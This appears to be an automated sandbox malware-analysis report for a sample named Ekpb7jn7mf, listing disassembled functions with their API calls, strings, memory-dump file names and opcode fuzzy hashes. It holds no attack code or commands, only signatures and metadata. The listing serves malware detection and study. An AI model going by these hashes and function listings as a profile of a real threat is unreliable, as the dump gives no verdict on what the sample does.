Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 51240b941610a78def0c35cfdd78c70d2fdaf1beb92afbb0e55c463cad22891a
Instruction ID: f6ffd578f3a69ff9c0007d043678d94b5502af227f55d6373d15ec98f62652d0
Opcode Fuzzy Hash: 51240b941610a78def0c35cfdd78c70d2fdaf1beb92afbb0e55c463cad22891a
Instruction Fuzzy Hash: EB31D5B5600209EFCB04CFA4C899EAA7BB9EF49345B200499F9429B350C73AED51DB64

Function 0040C904 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040C99E

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: b82101085f311d5ff6f0195a33d3c8677c672b2327c7cf6ec3dc6be87143151e
Instruction ID: 501842424769ff1faba8a2f973c04ad9dbb82eae3440be5a081cbe4827cf75c2
Opcode Fuzzy Hash: b82101085f311d5ff6f0195a33d3c8677c672b2327c7cf6ec3dc6be87143151e
Instruction Fuzzy Hash: A521F9B2A04645DFDB24DF29D48079EBBE49B19700F108A2FE496F73C1D678E9418749

Function 00409B26 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00409B4B

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 323b664bac6b029254f741a14eb1960b5593a766be610192fc34cae7ccbd568a
Instruction ID: 8c5665d2b5a010ee965aa838096fee94efe835068f1214688c479bddac91fd46
Opcode Fuzzy Hash: 323b664bac6b029254f741a14eb1960b5593a766be610192fc34cae7ccbd568a
Instruction Fuzzy Hash: CCF01D719001188FCB28CB18ED915D5B3F1F744314F5042B5D615D33D0D6B4AE81CF69

Function 0042327E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002323C), ref: 00423283

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 83b6a97849cf72bb80c7f5c4240ce15bd4f7ba8dbfae0b27471a2bbb2cf48466
Instruction ID: 72b603c122315a7ab41933ea19eb4c364bde2c87d01a378921f78c7b6b2b8dbe
Opcode Fuzzy Hash: 83b6a97849cf72bb80c7f5c4240ce15bd4f7ba8dbfae0b27471a2bbb2cf48466
Instruction Fuzzy Hash: FD9002603511608746101B706D0A71565A05B69613FD558A1A441C4054DA9C8165552B

Function 0040497E Relevance: 1.5, Strings: 1, Instructions: 245COMMON

Download Yara Rule

Strings

gj, xrefs: 004049D5

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 657123a7913344ab9a97147e8efb5658b1a5a6e789d1f0cda9d2c80b18b5b205
Instruction ID: b2a9e86ee478ddf6d853b585b2e9c1939bccb96f7846b19d9b2cdb25fada05ce
Opcode Fuzzy Hash: 657123a7913344ab9a97147e8efb5658b1a5a6e789d1f0cda9d2c80b18b5b205
Instruction Fuzzy Hash: 4DC106B2D002289BDF44CF9AD8805DEFBB2BFC8310F6AC1A6D81577615D6346A528F91

Function 0040C3B1 Relevance: 1.4, Strings: 1, Instructions: 166COMMON

Download Yara Rule

Strings

uC, xrefs: 0040C491

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID: uC
API String ID: 0-1504446725
Opcode ID: 349de8c0ae2f05400355cc0c855bfba9fe9dff50597b8f65b6f89c9216da9d24
Instruction ID: cf5882200b297374fc74bf4f0d6c4e8219ce614918710f618014b0e146572498
Opcode Fuzzy Hash: 349de8c0ae2f05400355cc0c855bfba9fe9dff50597b8f65b6f89c9216da9d24
Instruction Fuzzy Hash: 0051E674804299AACB12CFA4C4D05FDBFB0EF59324F6941BFD8857B282C2357646CB94

Function 004169B4 Relevance: .8, Instructions: 835COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: a1192addd46f0d18085a054e2bb2681faa894532e111ec1e7ff070f4dd982f64
Instruction ID: 00ab746b55baef28f9d77789ef054137b2c973a5cb05ccb9dd5712b5bc67d198
Opcode Fuzzy Hash: a1192addd46f0d18085a054e2bb2681faa894532e111ec1e7ff070f4dd982f64
Instruction Fuzzy Hash: 9972E270A047459FCB29CF24C5D06E9BBF1AF56308F15C4AED9969B342C738E985CB18

Function 00415B20 Relevance: .8, Instructions: 795COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c81f8e57a2910e075276bb5f51ce0f7dbecda6f6c9ae235e5be6403ef6b54daa
Instruction ID: 365ced0154bef301e1740b44959b2e36be89c876cd5ae3469082627c7a4276d0
Opcode Fuzzy Hash: c81f8e57a2910e075276bb5f51ce0f7dbecda6f6c9ae235e5be6403ef6b54daa
Instruction Fuzzy Hash: 0C72BF70A04645DFCB19CF64C5806EDBBB1BF95308F28C1AED85A8B742D339E981CB59

Function 0041BA49 Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 4e53e1b57dba2d85fbb61d74eac7bcfa6d40aa4561ce2722568cf5677455acbf
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 01D16073C4BAB3068735812D80681BBEA62AFD174131EC3E2DCD43F38DD62A5D9495D8

Function 0041B629 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 74460b6a6fd201c564fa156a5ed83951e3cafac44a98297fbe1dfad2048172a8
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: DDD18373D1BAB3068735812D80581BBEE62AFD1B5031FC3E2DCE42F389D22A5D9595D8

Function 0041B21D Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 814738f514a70d77c5989bb0947d1d48304f40bdd16a87f17d59f54d1cd8a7e1
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 56C17073C4BAB30A8736812D81581AFEA62AFD175031FC3E2CCE42F389923A5C9595D4

Function 0041AE49 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: c15cfc9666c55ee16b299cdb4da1d8098bcf5086a197abf0b6f4b7cdc462828e
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: DBC1A173D4BAB30A8735812D84685ABEE62AFD174031FC3E2CCD42F389D63A5C9596D4

Function 004143B9 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc5db6375299f5fb5f48be1a8dce18ece300ae267d3dd08f037fad015009b244
Instruction ID: b9e0218a5a86b8666fb99ade57d63a16e73d5bca7fd447a2b6a82eceb0b6eb70
Opcode Fuzzy Hash: bc5db6375299f5fb5f48be1a8dce18ece300ae267d3dd08f037fad015009b244
Instruction Fuzzy Hash: 20812571600249ABDB14DE58C5D0BFD73A6EB91318F20842FEE569B282C77CE9C1CB59

Function 0040C9D5 Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea7d4c7575f7bca0de84042ea1bf0bce496858f6de31adbbb22c764affaac377
Instruction ID: 0b3c60d654e4039264336fdf6088c722dab3ce1366e61befc4455aacdbc13535
Opcode Fuzzy Hash: ea7d4c7575f7bca0de84042ea1bf0bce496858f6de31adbbb22c764affaac377
Instruction Fuzzy Hash: 96C161B4C185D99ECF02DFA9D4A09FEBFF4AF1A240B0910DAE9D5A7252D2349710DF24

Function 0040C608 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebaf950f54676bac682397af9a5d3b187086251eced4c07a08f3567b9e8006e1
Instruction ID: a2973edb2dad714e7df643b0271f3bbce556e831f120983fa6fe34d6b1a57c16
Opcode Fuzzy Hash: ebaf950f54676bac682397af9a5d3b187086251eced4c07a08f3567b9e8006e1
Instruction Fuzzy Hash: B581E65620E2E18EE71AC73814D96F63FD11FB2101B2DA2EEC4CD4F2C7D6660519D729

Function 0041429D Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbcf4bf412d83560e8a03d4e51c195a15b9a53bbb05448f9cbeabe379a3aaaa5
Instruction ID: 4aa0259d5d73a504087fc24dc91421ddc6118a80cc820f17b498af7ff1261b7f
Opcode Fuzzy Hash: fbcf4bf412d83560e8a03d4e51c195a15b9a53bbb05448f9cbeabe379a3aaaa5
Instruction Fuzzy Hash: 11311871A00659ABCB00DF78C4912DDB7E1EF92308F14856EE8A5DB382D279E945CB84

Function 00405608 Relevance: .1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed9068bfa639142bf8b4c38fd82cdfd16adbe522c08585add70b4bf8b4f81ab1
Instruction ID: c489d99020a4490983b10f2649203983af3b79522229694849d3a5f5a10aa2b5
Opcode Fuzzy Hash: ed9068bfa639142bf8b4c38fd82cdfd16adbe522c08585add70b4bf8b4f81ab1
Instruction Fuzzy Hash: 8021C6729106716BD704CE69AC9412733A2D7CA3217DA4237DF846B3A5C2357522CAE8

Function 0040A77B Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0040A7A2
_wcsncpy.LIBCMT ref: 0040A7D9
_wcscpy.LIBCMT ref: 0040A7E3

Strings

\\?\, xrefs: 0040A7D3, 0040A818, 0040A884, 0040A8DC
UNC, xrefs: 0040A826

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcscpy_wcslen_wcsncpy
String ID: UNC$\\?\
API String ID: 677062453-253988292
Opcode ID: 100efcca70741f59cb8f73d59639ec48dc335179b439b8c31939f165d411108a
Instruction ID: 5adcfd6603d7281c4640a6c3627d82dea74def8de4f5e81170b7b1c7164785d0
Opcode Fuzzy Hash: 100efcca70741f59cb8f73d59639ec48dc335179b439b8c31939f165d411108a
Instruction Fuzzy Hash: 4D41F9B2A40304B6CB20BA518C45EEB33696F45748F19443FFA4477182E77C96A186AF

Function 004194EE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00419514
_malloc.LIBCMT ref: 00419521

Part of subcall function 0041CCEE: __FF_MSGBANNER.LIBCMT ref: 0041CD11
Part of subcall function 0041CCEE: __NMSG_WRITE.LIBCMT ref: 0041CD18
Part of subcall function 0041CCEE: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004210A4,00000000,00000001,00000000,?,0041ECDD,00000018,0042D8B8,0000000C,0041ED6E), ref: 0041CD65

_wcscpy.LIBCMT ref: 0041953A
_wcscat.LIBCMT ref: 00419545
_wcscat.LIBCMT ref: 00419550
_wcscat.LIBCMT ref: 0041958B
_wcscat.LIBCMT ref: 0041959C
_wcslen.LIBCMT ref: 004195B5
GlobalAlloc.KERNEL32(00000040,-00000009,?,<html>,00000006), ref: 004195C6
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000106,00000000,00000000), ref: 004195E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 0041960F

Strings

<html>, xrefs: 00419533, 00419538, 00419570
</html>, xrefs: 00419596
utf-8"></head>, xrefs: 0041954A
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 0041953F

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcscat$Global_wcslen$AllocAllocateByteCharCreateHeapMultiStreamWide_malloc_wcscpy
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4158105118-4209811716
Opcode ID: 094548c340a6c7a3b8b77f4710af8c0ccba77d5e9c3a63f69f96a657ba005cf9
Instruction ID: 11fdc154705fa1265123fb9ff1eccb2a049f9cc5486916b8e4ddd2d18f464033
Opcode Fuzzy Hash: 094548c340a6c7a3b8b77f4710af8c0ccba77d5e9c3a63f69f96a657ba005cf9
Instruction Fuzzy Hash: 4F314B32905200BBCB21AB619C81EEF37799F41324F14409FF815AB2C2DB3D9E91876D

Function 00419812 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000,00000000,?,?), ref: 0041982C

Part of subcall function 004197AB: LoadCursorW.USER32(00000000,00007F00), ref: 004197E2
Part of subcall function 004197AB: RegisterClassExW.USER32(00000030), ref: 00419803

GetWindowRect.USER32(?,?), ref: 0041984D
GetParent.USER32(?), ref: 00419860
MapWindowPoints.USER32(00000000,00000000), ref: 00419865
DestroyWindow.USER32(?), ref: 00419873
GetParent.USER32(?), ref: 00419891
CreateWindowExW.USER32(00000000,RarHtmlClassName,00000000,40000000,?,?,?,?,00000000), ref: 004198B0
ShowWindow.USER32(?,00000005,?), ref: 004198E2
SetWindowTextW.USER32(?,00000000), ref: 004198EC
ShowWindow.USER32(00000000,00000005), ref: 00419902
UpdateWindow.USER32(?), ref: 0041990B

Strings

RarHtmlClassName, xrefs: 004198AA

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
